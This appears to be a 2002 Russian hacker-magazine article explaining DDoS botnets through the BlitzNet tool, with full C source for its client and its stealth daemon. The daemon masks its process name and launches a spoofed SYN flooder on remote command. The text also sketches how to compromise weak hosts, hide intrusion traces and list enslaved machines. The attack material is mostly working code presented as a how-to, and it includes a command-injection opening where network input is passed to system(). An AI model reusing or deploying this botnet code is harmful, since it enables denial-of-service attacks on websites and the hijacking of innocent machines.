:: Intro

DDoS атака (Distributed Denial of Service Attack) — это распределенная атака на отказ в обслуживании. От обычной DoS атаки отличается тем, что в процессе участвует не один компьютер, а множество компьютеров, подчиняющихся командам атакующего.

DDoS атаки относительно новы. Впервые Интернет-общество серьезно столкнулось с ними 7 февраля 2000 года. Тогда в течении недели на несколько часов были выведены из строя такие известные сайты, как Yahoo, Buy.com, eBay, Amazon, Datek, E*Trade и CNN.

Сейчас 2002 год, но DDoS атаки до сих пор практически невозможно отслеживать заранее и предотвращать, и вряд ли это станет возможным в ближайшем
будущем.

:: Немного лирики

DDoS атаке предшествуют взломы сотен (а иногда и тысяч) компьютеров, на которые устанавливается специальный DDoS софт, позволяющий проводить координированные DoS атаки (обычно используются flood атаки) на сайты жертв.

В деталях это выглядит следующим образом: атакующий ищет слабо защищенный компьютер, вломиться в который не составляет проблемы. Затем на взломанную систему устанавливается софт, который будет скрывать следы взлома (например, скрывать процесс, запущенный атакующим, чтобы в дальнейшем контролировать данную систему). А потом осуществляется то, ради чего, собственно, система и была взломана: запускается процесс, ожидающий команды из Интернета начать атаку на определенную жертву. После этого адрес захваченного компьютера заносится в базу данных. Все эти шаги достаточно
автоматизированы и повторяются до тех пор, пока количество «рабов» не достигнет необходимой атакующему отметки. В итоге получается DDoS сеть, т.е. имеются компьютеры с установленным на них DDoS софтом, а атакующий знает их адреса.

С наступлением часа X атакующий просто запускает программу, которая посылает команды начать атаку на определенную жертву всем захваченным компьютерам по адресам, хранящимся в специальном файле. Когда атакующий
решает прекратить DDoS атаку, он опять же просто запускает программу, которая пошлет по тем же адресам команды прекратить безобразие.

:: c0dez

Рассмотрим DDoS софт на примере BlitzNet by phreeon, написанный частично на Си (если не знаешь Си, смотри
"A quick introduction to C — learn programming in one
day
" Mixter’а), частично на TCL (можешь посмотреть статью Forb’а «Кодинг на
TCL", Xakep
#030
).

BlitzNet (Blitz Network) написан для того, чтобы проводить spoofed syn flood атаку с множества разных компьютеров без логина на них. Дистрибутив включает в себя следующие файлы:
blitz.c (клиент), blitzd.c (сервер),
rush.tcl, уже скомпилированный spoofed syn flooder
(slice2) и README. На взломанную систему помещаются 2 файла: blitzd и slice2. А у атакующего должны быть 4 файла: rush.tcl, shell.list, blitz и strobe (rush.tcl использует blitz для связи c компьютерами, адреса которых находятся в shell.list, а strobe нужен rush.tcl для проверки тех компьютеров). Файл shell.list должен иметь примерно такой вид:

192.9.49.33 31337
199.185.137.3 9999
216.200.201.193 6969

Первая часть строки — ip адрес компьютера, вторая — порт, на котором висит blitzd.

Клиентская часть BlitzNet устанавливает TCP соединение с указанным сервером (argv[1]) по указанному порту (argv[2]) и пересылает демону адрес для подмены адреса компьютера, проводящего атаку, <source> (0 для случайного); адрес жертвы <destination>; нижний предел диапазона атакуемых портов <start>; верхний предел <stop>, продолжительность атаки в секундах <duration> и количество одновременно
работающих процессов slice2 <dupes>.

Чтобы установить Интернет соединение, нужно использовать сокеты. Сокеты бывают двух типов: потоковые (TCP) и датаграммные (UDP). Кроме того, сокеты делятся по областям (domain) на сокеты Интернета и сокеты UNIX (локальные). И еще с сокетом ассоциируется определенный протокол. Области и типы определяются числовыми константами, но обычно вместо циферков используются буковки, точнее, символические имена (задаваемые #define). Потоковые сокеты имеют тип SOCK_STREAM, датаграммные — SOCK_DGRAM; области Интернета соответствует константа PF_INET (иногда вместо PF_* используется AF_*), области UNIX — PF_UNIX (в POSIX вместо PF_UNIX используется PF_LOCAL, но PF_UNIX допустима почти всегда, т.к. используется в огромном количестве существующих программ). Протокол система может выбирать автоматически, если функциям сокетов передается значение 0.

Как же написать TCP клиента? Прежде всего, нужно подключить библиотеки, необходимые для работы с сокетами:

#include <sys/socket.h>
#include <netinet/in.h> // Для структуры sockaddr_in

Далее, необходимые переменные:

// Аналог дескриптора файла
int sockfd;

struct sockaddr_in address;

На FreeBSD и, наверное, на всех других NIX системах, эта структура выглядит следующим образом:

/*
* Socket address, internet style.
*/
struct sockaddr_in {
u_char sin_len;
u_char sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};

Интерес представляют поля sin_family (что-то типа области), sin_port (порт) и sin_addr (адрес хоста).

А потом, собственно, подключаемся к сокету на
удаленном компьютере:

// Создать сокет
sockfd = socket(AF_INET, SOCK_STREAM, 0);

// Построить адрес удаленного компьютера

bzero(&address, sizeof(saddress)); // Очистка структуры (не обязательно)

address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(«host»);
address.sin_port = htons(atoi(«port»));

// Подключиться
connect(sockfd, (struct sockaddr *)&address, sizeof(address));

// Сделать что-то с сокетом
write(sockfd, …);
read(sockfd, …);

// И отключиться после завершения
close(sockfd);

На Перле написать это куда проще (может, я соберусь и напишу на нем аналог BlitzNet), но знание, как это делается на Си тебе не помешает.

А вот и Blitz клиент:

<++> blitz.c
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
int i;
int sockfd;
int len;
struct sockaddr_in address;
int result;
char cmd[128];
char ch;

if (argc < 9) {
fprintf(stderr, «blitz by phreeon / hydra\n»);
fprintf(stderr, «syntax: %s <host> <port> <source> <destination> <start> <stop> <dupes> <duration>\n», argv[0]);
exit(1);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(argv[1]);
address.sin_port = htons(atoi(argv[2]));
len = sizeof(address);
result = connect(sockfd, (struct sockaddr *)&address, len);

if(result == -1) {
printf(«%s->%s: connection refused!\n», argv[1], argv[4]);
exit(1);
}

sprintf(cmd, «%s %s %s %s %s %s», argv[3], argv[4], argv[5], argv[6], argv[7], argv[8]);
write(sockfd, cmd, sizeof(cmd));
read(sockfd, &ch, 1);
if (ch == ‘.’) {
printf(«%s->%s: successful!\n», argv[1], argv[4]);
}
if (ch == ‘!’) {
printf(«%s->%s: failed!\n», argv[1], argv[4]);
}
if (ch != ‘.’ && ch != ‘!’) {
printf(«%s->%s: unknown!\n», argv[1], argv[4]);
}
close(sockfd);
exit(0);
}
<—>

Серверная часть Blitz Network сначала предпринимает некоторые шаги для маскировки, в частности, забивает все аргументы нулями, а себя маскирует под что-нибудь. Потом происходит непосредственно прием информации, передаваемой клиентом, и запуск slice2 с полученными от клиента аргументами.

Написать типичный TCP сервер не так уж и сложно. Сначала все те же библиотеки, почти те же переменные, так же создаем сокет:

#include <sys/socket.h>
#include <netinet/in.h>

int server_sockfd, client_sockfd;
struct sockaddr_in server_address;
struct sockaddr_in client_address;

// Создать сокет
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

// Заполнение структуры address несколько отличается:

bzero(&server_address, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_port = htons(atoi(«port»);
server_address.sin_addr.s_addr = htonl(INADDR_ANY);

Разница в server_address.sin_addr.s_addr. Вместо адреса определенного хоста используется INADDR_ANY — специальный адрес, означающий «прослушивание на всех интерфейсах».

// Далее вместо connect() используем bind()
bind(server_sockfd, (struct sockaddr *)&server_address, sizeof(server_address));

Потом процесс сервера создает дочерний процесс, который принимает подключения. Это удобно сделать так:

switch (fork()) {
case -1:
perror(«fork»);
return 3;
break;
default:
close(server_sockfd);
return 0;
break;
case 0:
break;
}

// Теперь необходимо установить очередь для входящих сообщений
listen(server_sockfd, 5);

Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.

// Потом в цикле происходит прием подключений
for (;;) {
b = sizeof(client_address); // b имеет тип int
client_sockfd = accept(s, (struct sockaddr *)&client_address, &b);

// Делаем что-нибудь
read(client_sockfd, …);
write(client_sockfd, …);

// И отрубаем
close(client_sockfd);
}

Все!

Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS
IS:

<++> blitzd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include «lists.h»

int main(int argc, char *argv[])
{
int x;
char stealth[128];
char good, bad;
time_t timeval;
int server_sockfd, client_sockfd;
int server_len, client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int result;
fd_set readfds, testfds;

good = ‘.’;
bad = ‘!’;
if (argc < 2) {
fprintf(stderr, «blitzd by phreeon / hydra\n»);
fprintf(stderr, «syntax: %s <port> <stealth>\n», argv[0]);
exit(1);
}

server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(atoi(argv[1])); 
strcpy(stealth, argv[2]);
for (x = argc-1; x >= 0; x—) {
memset(argv[x], 0, strlen(argv[x]));
}
strcpy(argv[0], stealth);
server_len = sizeof(server_address);

bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
listen(server_sockfd, 5);

FD_ZERO(&readfds);
FD_SET(server_sockfd, &readfds);
while(1) {
char cmd[128], realcmd[512];
int fd;
int nread;

testfds = readfds;

(void)time(&timeval);
// printf(«[%s] server waiting\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)));
result = select(FD_SETSIZE, &testfds, (fd_set *)0, 
(fd_set *)0, (struct timeval *) 0);

if(result < 1) {
perror(«server5»);
exit(1);
}
for(fd = 0; fd < FD_SETSIZE; fd++) {
if(FD_ISSET(fd,&testfds)) {
if(fd == server_sockfd) {
client_sockfd = accept(server_sockfd, 
(struct sockaddr *)&client_address, &client_len);
FD_SET(client_sockfd, &readfds);
(void)time(&timeval);
// printf(«[%s] adding client %s:%d on fd %d\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), ntohs(client_address.sin_port), client_sockfd);
}
else {
ioctl(fd, FIONREAD, &nread);

if(nread == 0) {
close(fd);
FD_CLR(fd, &readfds);
(void)time(&timeval);
// printf(«[%s] removing client %s on fd %d\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd);
}

else {
read(fd, cmd, 128);

/* argument descriptions */
/* ——————— */
/* source target startport stopport dupes duration */
/* 0 127.0.0.1 3 2000 2 360 */

sleep(5);
(void)time(&timeval);
// printf(«[%s] serving client %s on fd %d (%s)\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd, cmd);
if (llength(cmd) == 6) {
sprintf(realcmd, «./slice2 %s > /dev/null &\nsleep %s; kill `pidof slice2`;», lrange(cmd, 0, 4), lindex(cmd, -1));
write(fd, &good, 1);
system(realcmd);
} else {
write(fd, &bad, 1);
}
}
}
}
}
}
}
<—>

На этом все. Листинг rush.tcl я приводить не буду, т.к. особых познаний в TCL не имею, разберись с ним сам, если хочешь. И надеюсь, ты не будешь использовать полученные знания во имя зла >:-F~.

:: Использованная литература

Distributed Denial of Service Attacks by Bennett Todd
Perl: библиотека программиста -> Сокеты
FreeBSD Developers’ Handbook -> Chapter 7 Sockets

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …